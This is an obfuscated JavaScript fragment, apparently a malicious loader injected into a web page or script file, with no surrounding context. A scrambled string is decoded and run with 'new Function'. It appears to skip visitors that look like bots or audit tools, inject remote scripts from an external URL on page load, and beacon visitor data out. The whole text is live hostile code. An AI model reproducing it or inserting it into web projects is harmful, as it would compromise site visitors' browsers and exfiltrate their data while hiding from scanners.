_8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();